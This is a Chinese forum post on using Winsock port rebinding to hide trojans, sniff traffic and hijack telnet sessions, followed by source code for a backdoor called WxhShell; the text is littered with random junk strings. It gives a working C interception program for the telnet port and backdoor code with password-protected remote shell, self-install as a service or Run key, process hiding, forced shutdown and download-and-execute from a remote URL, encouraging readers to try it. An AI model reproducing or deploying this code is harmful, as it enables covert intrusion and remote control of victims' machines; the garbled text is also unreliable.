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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E>2AG3)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1Vz3N/AP%?  
{?A/1q4rr  
  saddr.sin_family = AF_INET; 8)83j6VF  
^?A>)?Sq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gd]_OY7L  
N f}ZG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [<Mls@?  
UF}Ji#fqn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m Q<Vwx0  
i~5'bSq c  
  这意味着什么?意味着可以进行如下的攻击: =Pp-9<& S  
60D6UW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &b-&0 rTqz  
!2/o]_K@+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XG5T`>Yl  
^(BE_<~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b'ir$RL] c  
3u s^\w#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `dl^)4J  
qK%#$JgqA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X2P8Zq=%a  
ldRq:M5z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9c5DEq  
Fa{[kJ8z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "1p, r&}  
KmWd$Qy,  
  #include KR%NgV+}!0  
  #include 'mF&`BN}b  
  #include *w6F0>u  
  #include    o+- 0`!yj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |f$gQI!XW  
  int main() Mi}k>5VT  
  { ogV v 8Xb  
  WORD wVersionRequested; |F qujZz  
  DWORD ret; ?d k)2  
  WSADATA wsaData; |ss4pN0X  
  BOOL val; [EQTrr( D  
  SOCKADDR_IN saddr; rV*Ri~Vx  
  SOCKADDR_IN scaddr; `?d` #) Ck  
  int err; ?-<>he  
  SOCKET s; SF"r</c[  
  SOCKET sc; R#rfnP >  
  int caddsize; 5E}]U,$  
  HANDLE mt; tQTjqy{K  
  DWORD tid;   #;;A~d:V  
  wVersionRequested = MAKEWORD( 2, 2 ); ':f,RG  
  err = WSAStartup( wVersionRequested, &wsaData ); P"[{s^mb  
  if ( err != 0 ) { w(*},  
  printf("error!WSAStartup failed!\n"); T]\'D&P~D  
  return -1; YjPj#57+  
  } ]L3MIaO2T  
  saddr.sin_family = AF_INET; {Z>Mnw"R  
   Odw9]`,T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }1.'2.<Y  
~;t/VsgGW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^5k~ 7F.  
  saddr.sin_port = htons(23); $9W,1wg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iRV=I,  
  { QQ %W3D @  
  printf("error!socket failed!\n"); B f.- 5  
  return -1; UH((d*HX4  
  } {GGP8  
  val = TRUE; A yOy&]g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _Y)Wi[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =t.T9'{  
  { Xs~IoU  
  printf("error!setsockopt failed!\n"); SXNde@% {  
  return -1; 74c5\UxA  
  } xE*. ,:,&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5d-rF:#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oS<*\!&D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m+x$LkP  
[&lH[:Y#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g]d0B!Ar~  
  { >^ E*7Bfp  
  ret=GetLastError(); n-OQCz9Xl  
  printf("error!bind failed!\n"); m<J:6^H@  
  return -1; *0_Q0SeE,o  
  }  LYyud  
  listen(s,2); N]F}Z#h  
  while(1) ku#WQL  
  { M5N #xgR  
  caddsize = sizeof(scaddr); m@",Zr `f=  
  //接受连接请求 HzsQ`M4cA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gIKQip<  
  if(sc!=INVALID_SOCKET) 3MDs?qx>s  
  { HI[Pf%${  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &#!1 Y[e^  
  if(mt==NULL) a/[)A _-  
  { l;B  
  printf("Thread Creat Failed!\n"); `(E$-m-~jH  
  break; bzECNi5^  
  } =}Yz[-I  
  } O<MO2U+^x  
  CloseHandle(mt); Y<_;8%S  
  } Ue!yK  
  closesocket(s); f*Os~@K  
  WSACleanup(); 1R7tnR@[u  
  return 0; xrv0%  
  }   U&#`5u6'j  
  DWORD WINAPI ClientThread(LPVOID lpParam) RSnBG"  
  { WS%yV|e  
  SOCKET ss = (SOCKET)lpParam; /0XmU@B  
  SOCKET sc; ^zfs8]QSf  
  unsigned char buf[4096]; F(Je$c/J|~  
  SOCKADDR_IN saddr; N686~  
  long num; 2AEVBkF;M  
  DWORD val; ZzxWKIE'c  
  DWORD ret; d-z[=1m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h-DHIk3/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   beNy5~M$  
  saddr.sin_family = AF_INET; ~y,m7%L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Vs>G  
  saddr.sin_port = htons(23); 3^-\=taN<m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7;pQ'FmZJ  
  { b Rr3:"=sE  
  printf("error!socket failed!\n"); F45-M[z  
  return -1; /<Z3x _c  
  } Y8N+v+V/  
  val = 100; FuG;$';H75  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N*)O_Ki  
  { NCgKWyRR  
  ret = GetLastError(); ,;f5OUl?[  
  return -1; #$}A$sm  
  } (O& HCT|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !lBK!'0  
  { 7}`FXB  
  ret = GetLastError(); Fh/sD?  
  return -1; [2!C ^ \t  
  } "]\3t;IT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rbl^ aik  
  { 8\jsGN.$JZ  
  printf("error!socket connect failed!\n"); ux6p2Sk;K  
  closesocket(sc); k *>"@  
  closesocket(ss); 7xfS%'=y"  
  return -1; 3$.#\*s_4  
  } Mq_P'/  
  while(1) ? 51i0~O=  
  { "]OROJGa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,sT5TS q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y~?Z'uR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pz 0TAb  
  num = recv(ss,buf,4096,0); "=V!-+*@G@  
  if(num>0) U2v;GIo$yU  
  send(sc,buf,num,0); 6Cfsh<]b  
  else if(num==0) %/qwqo`Q  
  break; z[y  
  num = recv(sc,buf,4096,0); A4rkwM  
  if(num>0) u'T-}95 V  
  send(ss,buf,num,0); gdq6jz  
  else if(num==0) }_('3C,Ba  
  break; &(e5*Q  
  } cwzgIm+  
  closesocket(ss); C>SO d]  
  closesocket(sc); +O.qYX  
  return 0 ; y>)c?9X  
  } Y?L>KiM$  
_]{LjJ!M  
(H\ `/%Bp  
========================================================== hDQk z qW  
JoZS p"R  
下边附上一个代码,,WXhSHELL oxdX2"WwU  
B{p74 >  
========================================================== #%w)w R3  
>8b%*f8R  
#include "stdafx.h"  ) TRUx  
O%haaL\  
#include <stdio.h> ~O]{m,)n  
#include <string.h> mkrVeBp  
#include <windows.h> ?7J::}R  
#include <winsock2.h> s+z5"3'n  
#include <winsvc.h> \jmZ t*c  
#include <urlmon.h> ` U-vXP  
ZX#60o8  
#pragma comment (lib, "Ws2_32.lib") |o'r?"  
#pragma comment (lib, "urlmon.lib") Zxozhmg  
w'E?L`c  
#define MAX_USER   100 // 最大客户端连接数 b=U3&CV9  
#define BUF_SOCK   200 // sock buffer p#_ 5w  
#define KEY_BUFF   255 // 输入 buffer *2rc Y  
tGzp= PyA  
#define REBOOT     0   // 重启 ayQeT  
#define SHUTDOWN   1   // 关机 _O ;4>  
)lz~Rt;1i  
#define DEF_PORT   5000 // 监听端口 v`]y:Ku|wR  
|~PaCw8-ge  
#define REG_LEN     16   // 注册表键长度  nF<xJs  
#define SVC_LEN     80   // NT服务名长度 yH>C7M7 t  
wNn=JzP  
// 从dll定义API Pn6~66a6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %(W8W Lz}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L u'<4 R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?%Ww3cU+J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e8#83|h  
<XtE|LG  
// wxhshell配置信息 )[|_q,  
struct WSCFG { cG%X}ZV5  
  int ws_port;         // 监听端口 7upWM~H^  
  char ws_passstr[REG_LEN]; // 口令 yz5! >|EB  
  int ws_autoins;       // 安装标记, 1=yes 0=no HFlExa u  
  char ws_regname[REG_LEN]; // 注册表键名  sFnR;  
  char ws_svcname[REG_LEN]; // 服务名 *N }$~N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nh}u]<B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~"<^4h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |lZp5MOc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~sPXkLqK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1[$zdv{A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1iNMgA  
=p"ma83  
}; d>F.C>  
 ST0TWE'  
// default Wxhshell configuration r-*6# "  
struct WSCFG wscfg={DEF_PORT, GN:|b2 "  
    "xuhuanlingzhe", #S x  
    1, ^!0z+M:>^  
    "Wxhshell", wG9aX*(n  
    "Wxhshell", 9qgs*]J  
            "WxhShell Service", `@v;QLD"d<  
    "Wrsky Windows CmdShell Service", N u\<Xr8  
    "Please Input Your Password: ", f-ceDn  
  1, TbN{ex*  
  "http://www.wrsky.com/wxhshell.exe", SynRi/BRmw  
  "Wxhshell.exe" ?u/UV,";y  
    }; r4DHALu#)  
qvK/}  
// 消息定义模块 !n P4S)A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q\T?t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8 H3u"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IkjJqz  
char *msg_ws_ext="\n\rExit."; 6x=w-32+ y  
char *msg_ws_end="\n\rQuit."; zSU,le  
char *msg_ws_boot="\n\rReboot..."; 4*Gv0#dga  
char *msg_ws_poff="\n\rShutdown..."; 41s\^'^&  
char *msg_ws_down="\n\rSave to "; v Y0ESc{  
T93st<F=R  
char *msg_ws_err="\n\rErr!"; &[_@f#  
char *msg_ws_ok="\n\rOK!"; C/#pK2xY  
'Cz*p,  
char ExeFile[MAX_PATH]; \7>*ULP  
int nUser = 0; S'kgpF"bm  
HANDLE handles[MAX_USER]; tf|;'Nc6  
int OsIsNt; t|h c`|  
Zq<j}vVJ  
SERVICE_STATUS       serviceStatus; a]xGzv5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NQX?&9L`r  
:#35mBe}k  
// 函数声明 w0lgB%97p  
int Install(void); `JpFqZ'58  
int Uninstall(void); ~zG)<S"q  
int DownloadFile(char *sURL, SOCKET wsh); hayJgkZ '  
int Boot(int flag); }!R*Q`m  
void HideProc(void); LExm#T`  
int GetOsVer(void); !{+.)%d'g  
int Wxhshell(SOCKET wsl); \AH5 zdK  
void TalkWithClient(void *cs);  _cj=}!I  
int CmdShell(SOCKET sock); &v t)7[  
int StartFromService(void); JbS[(+o  
int StartWxhshell(LPSTR lpCmdLine); l|E4 7@#  
>]ZE<.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P}UxA!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N3aqNRwlk  
@ =~k[o  
// 数据结构和表定义 l U4 I*  
SERVICE_TABLE_ENTRY DispatchTable[] = |+::sL\r  
{ }^$1<GT  
{wscfg.ws_svcname, NTServiceMain}, Ry"4v_e9  
{NULL, NULL} B{D4.!a  
}; a:`<=^:4,  
D GcpYA.7'  
// 自我安装 qtozMa  
int Install(void) R@s7s%y=  
{ ipg`8*My  
  char svExeFile[MAX_PATH]; EU%v |]  
  HKEY key; n%#3xo a  
  strcpy(svExeFile,ExeFile); lS7L|  
cNxxX!P/  
// 如果是win9x系统,修改注册表设为自启动 4%w<Ekd  
if(!OsIsNt) { bv'>4a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J -Lynvqm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6$=>ckP  
  RegCloseKey(key); Z`M pH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]@<VLP?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KYJP`va6k  
  RegCloseKey(key); <FBBR2  
  return 0; SZ9DT  
    } CEaAtAM  
  } E;x-O)(&  
} , QWus"5H  
else { W 02z}"#  
P5 oS 1iu*  
// 如果是NT以上系统,安装为系统服务 #$-?[c$>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oYTLC@98}  
if (schSCManager!=0) v;9(FLtL  
{ B5vLV@>]  
  SC_HANDLE schService = CreateService U5H%wA['m  
  ( TK[[6IB  
  schSCManager, L6Brs"9B  
  wscfg.ws_svcname, zGyRzxFN  
  wscfg.ws_svcdisp, UH}lKc=t  
  SERVICE_ALL_ACCESS, ~jzLw@"~$^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W&R67ff|  
  SERVICE_AUTO_START, @4 8!e-W  
  SERVICE_ERROR_NORMAL, R6o  D  
  svExeFile, \G>C{v;  
  NULL, jOrfI-&.G  
  NULL,  Fpn*]x  
  NULL, h]t v+\0  
  NULL, %<a3[TQd`\  
  NULL B ;E"VS0  
  ); w9VwZow  
  if (schService!=0) ?O#,{ZZf=  
  { : slO0  
  CloseServiceHandle(schService); 9?hZf$z  
  CloseServiceHandle(schSCManager); B= ~y(Mb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $w{d4")  
  strcat(svExeFile,wscfg.ws_svcname); 'uDx$AkY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T)7U+~nQ"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); > !s<JKhI  
  RegCloseKey(key); D6Aa5&rO+  
  return 0; ksOsJ~3)  
    } OZ e&p  
  } La9}JvQoX  
  CloseServiceHandle(schSCManager); [BJzZ>cY  
} /KF@Un_Ow  
} BlU&=;#r5>  
e1h7~ j  
return 1; =RD>#'sUK  
} BA1uo0S `S  
}EkL[H!  
// 自我卸载 J( XDwt  
int Uninstall(void) (?R!y -  
{ hx9t{Zi  
  HKEY key; LOcZadr  
!37I2*+4  
if(!OsIsNt) { 0 3v&k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qc&Y|]p"  
  RegDeleteValue(key,wscfg.ws_regname); K;sC#9m  
  RegCloseKey(key); SsW<,T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Aipm=C8  
  RegDeleteValue(key,wscfg.ws_regname); lW-h @  
  RegCloseKey(key); I8)D   
  return 0; u%z'.#r;a  
  } (XmmbAbVom  
} `G\Gk|4; 2  
} XF)N_}X^  
else {  6d;}mhH  
J QnaXjW2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4 xbWDu]  
if (schSCManager!=0) =dA] nM  
{ -i{_$G8W/c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #U L75  
  if (schService!=0) >wmHCOL:  
  { C 4C /  
  if(DeleteService(schService)!=0) { lqmQQ*Z  
  CloseServiceHandle(schService); 2{~`q  
  CloseServiceHandle(schSCManager); $ MH;v_'a  
  return 0; '#3FEo  
  } Y=G`~2Pr=  
  CloseServiceHandle(schService); )M+po-6$1  
  } {!wW,3|Pu  
  CloseServiceHandle(schSCManager); HYGd :SeH  
} }#ta3 x  
} IS(F_< .  
QR"+fzOL  
return 1; RVwS<g)~1  
} EMO {u  
N6-7RoA+  
// 从指定url下载文件 sU&v B:]~  
int DownloadFile(char *sURL, SOCKET wsh) DoQ^caa@  
{ 9AhA"+?  
  HRESULT hr; m=@xZw<  
char seps[]= "/"; "Ux(nt  
char *token; i@?|vu  
char *file; n5UUoBv  
char myURL[MAX_PATH]; /fb}]e]N  
char myFILE[MAX_PATH]; mJ<`/p?:  
<#?dPDMG.*  
strcpy(myURL,sURL); Cfmd*,  
  token=strtok(myURL,seps); e_Hpai<b  
  while(token!=NULL) !`?i>k?Q E  
  { i'H]N8,A  
    file=token; 5Z; 5?\g  
  token=strtok(NULL,seps); j]kgdAq>  
  } Bc }o3oc  
[T =>QS@g  
GetCurrentDirectory(MAX_PATH,myFILE); NN'pBU R  
strcat(myFILE, "\\"); |\uj(|  
strcat(myFILE, file); <dP \vLH_  
  send(wsh,myFILE,strlen(myFILE),0); i;C` .+  
send(wsh,"...",3,0); ef '?O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zX*5yNd  
  if(hr==S_OK) ;.sYE/ZVi  
return 0; ,NZllnW  
else ~8nR3ki  
return 1; EIQ3vOq6  
fiWN^sTM  
} X [dfms;H  
;-~E !_$  
// 系统电源模块 ohKoX$|p~  
int Boot(int flag) Ds"%=  
{ _ncBq;j{  
  HANDLE hToken; DKfpap}8u  
  TOKEN_PRIVILEGES tkp; IKP_%R8.  
WM|G/'q  
  if(OsIsNt) { )r{Wj*u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iZfZF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sdmz (R  
    tkp.PrivilegeCount = 1; PjBAf'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; , v} )  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q&>fKSnKs  
if(flag==REBOOT) { 1O0. CC,p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G) KI{D  
  return 0; >qNpY(Ql  
} XV%R Mr6  
else { 59 g//;35@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H ;=^ W  
  return 0; 80lhhqRC  
} ";7N$hWE  
  } P=,\wM6T|  
  else { Yz0fOX  
if(flag==REBOOT) { !J;Bm,Xn6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ck0%H#BYY  
  return 0; D1-/#QN$1  
} cKkH*0B5  
else { ~L<"]V+B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d'MZ%.#  
  return 0; q7KHx b  
} c]x-mj =  
} "1Hn?4nz5  
lG0CCOdQ  
return 1; dpq(=s`s  
} :n13v @q  
[LjiLKW  
// win9x进程隐藏模块 $Xt""mlQ  
void HideProc(void) 6T4DuF   
{ |g}r  
\jk* Nm8;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l#v52  
  if ( hKernel != NULL ) z{ eZsh b  
  { jSvq1$U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f:\)! &W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [n/c7Pe  
    FreeLibrary(hKernel); / S' +  
  } S'|PA7a}h  
n.9k5r@  
return; g`'!Vgd?M[  
} Brs6RkRf  
jq]5Y^e  
// 获取操作系统版本 5SUO`4L  
int GetOsVer(void) '6NrL;  
{ 9O&gR46.  
  OSVERSIONINFO winfo; R[\1Kk(Zo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ylczM^@  
  GetVersionEx(&winfo); Q]=/e7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \='LR!_  
  return 1; JL#LCU ?  
  else @Hp%4$=  
  return 0; x[TLlV:{  
} WxYEu +_  
YJ ,"@n_  
// 客户端句柄模块 iNkN'("  
int Wxhshell(SOCKET wsl)  ~ e?af  
{ 'L3MHTM>[  
  SOCKET wsh; \36 G``e  
  struct sockaddr_in client; nU{Qi;0  
  DWORD myID; ?0dmw?i  
}[|9vF"g.y  
  while(nUser<MAX_USER) /PSXuVtu5  
{ L7 <30"7  
  int nSize=sizeof(client); `-U?{U}H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6B@e[VtG$  
  if(wsh==INVALID_SOCKET) return 1; YBj*c$.D0  
%`s#p` Ol1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R%n*wGi_6b  
if(handles[nUser]==0)  ]XlBV-@b  
  closesocket(wsh); 7=yM40  
else @0EY5{&  
  nUser++; b7^q(}qE  
  } H~JgZ pw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Lv"wec*x  
:F6dXW  
  return 0; }XUI1H]jk  
} e^@ZN9qQ  
Bt")RG  
// 关闭 socket pe,y'w{  
void CloseIt(SOCKET wsh) 'C7R* P  
{ aO}hE 2]  
closesocket(wsh); <L8FI78[*  
nUser--; i75\<X  
ExitThread(0); e%ro7~  
} 7wWx8  
5V(#nz  
// 客户端请求句柄 |9 5K  
void TalkWithClient(void *cs) -J 6`  
{ |PYyhY  
-a|b.p  
  SOCKET wsh=(SOCKET)cs; Q'^'G>MBJ  
  char pwd[SVC_LEN]; )d3C1Pd>  
  char cmd[KEY_BUFF]; sbVEA  
char chr[1]; I&i6-xp  
int i,j; C=Fu1Hpb  
*wx%jbJo  
  while (nUser < MAX_USER) { Sx~mc_ekY  
R*cef  
if(wscfg.ws_passstr) { W.{+0xx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H~#$AD+H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U9PI#TX &O  
  //ZeroMemory(pwd,KEY_BUFF); uAnL`  
      i=0; MaPhG<?  
  while(i<SVC_LEN) { @6~m&$R/  
;,]4A{|  
  // 设置超时 k9H}nP$F  
  fd_set FdRead; Sru0j/|H\  
  struct timeval TimeOut; on8$Kc  
  FD_ZERO(&FdRead); /oEDA^qx  
  FD_SET(wsh,&FdRead); (  -q0!]E  
  TimeOut.tv_sec=8; $tW E9_  
  TimeOut.tv_usec=0; %}N01P|X>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  y"Fu=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -0;{  
'6\w4J(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hJ%$Te  
  pwd=chr[0]; b(U5n"cdA  
  if(chr[0]==0xd || chr[0]==0xa) { hEo$Jz`  
  pwd=0; so.}WU  
  break; 9k62_]w@6  
  } 9i_@3OVl  
  i++; IY!.j5q8  
    } "UY34a^I  
3zfpFgD!  
  // 如果是非法用户,关闭 socket Lf a&JKd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p;o"i_!  
} &'PLOyWw  
L?a4>uVY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [-W~o.`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6&~Z3|<e  
M/F <W!  
while(1) { 'Q]Wk75  
@HI@PZ>  
  ZeroMemory(cmd,KEY_BUFF); &uaSp, L  
l(3PxbT  
      // 自动支持客户端 telnet标准   VFq\{@- %  
  j=0; ".AW   
  while(j<KEY_BUFF) { @$p6w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d5 ]-{+V+  
  cmd[j]=chr[0]; RJ4=AA|  
  if(chr[0]==0xa || chr[0]==0xd) { A$\/D2S7!  
  cmd[j]=0; e :ub]1I=  
  break; nip*Y@-F  
  } <ldArZ4C4  
  j++; \(^]R,~*!b  
    } iV@\v0k  
oWDn_GnG`h  
  // 下载文件 ]CU)#X<J  
  if(strstr(cmd,"http://")) { [zP}G?(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LoJEchRK  
  if(DownloadFile(cmd,wsh)) r da: ~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .;bU["fn)  
  else ,B x0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =b)!l9TX  
  } 8&+u+@H  
  else { 71<4q {n  
tmoclK-  
    switch(cmd[0]) { ?a, `{1m0\  
  ?)Gb=   
  // 帮助 %qrUP\rn  
  case '?': { GX.a!XQ@!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (Cti,g~  
    break; ]-heG'y]{  
  } S n~P1C  
  // 安装 9zBt a  
  case 'i': { g[ @Q iy  
    if(Install()) D 7thLqA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ei]Q<vT6  
    else VJr~h "[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \:JY[s/  
    break; "K|':3n|  
    } Bbb":c6w0  
  // 卸载 voP #}fD  
  case 'r': { Kp;<z<  
    if(Uninstall()) ND e FY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nhm#_3!6A  
    else fpzEh}:H\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (YPG4:[  
    break; ,&O&h2=  
    } 51AA,"2[_  
  // 显示 wxhshell 所在路径 KeyHxU=?  
  case 'p': { w 17{2']  
    char svExeFile[MAX_PATH]; "yU<X\n i  
    strcpy(svExeFile,"\n\r");  )iPU   
      strcat(svExeFile,ExeFile); ja{x}n*5  
        send(wsh,svExeFile,strlen(svExeFile),0); }Vm'0  
    break; oq>jCOVh  
    } eq2L V=d{m  
  // 重启 .o<9[d"  
  case 'b': { p[!9objU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YAi@EvzCVy  
    if(Boot(REBOOT)) 9(a*0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q"LlBp>t|#  
    else { Mp J3*$Dr  
    closesocket(wsh); E%f!SD  
    ExitThread(0); $S/WAw,/  
    } !.q#X^@>L  
    break; b!EqYT  
    } 0*uJS`se6Z  
  // 关机 ^zG!Z:E  
  case 'd': { IMy!8$\u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "zIQ(|TL?d  
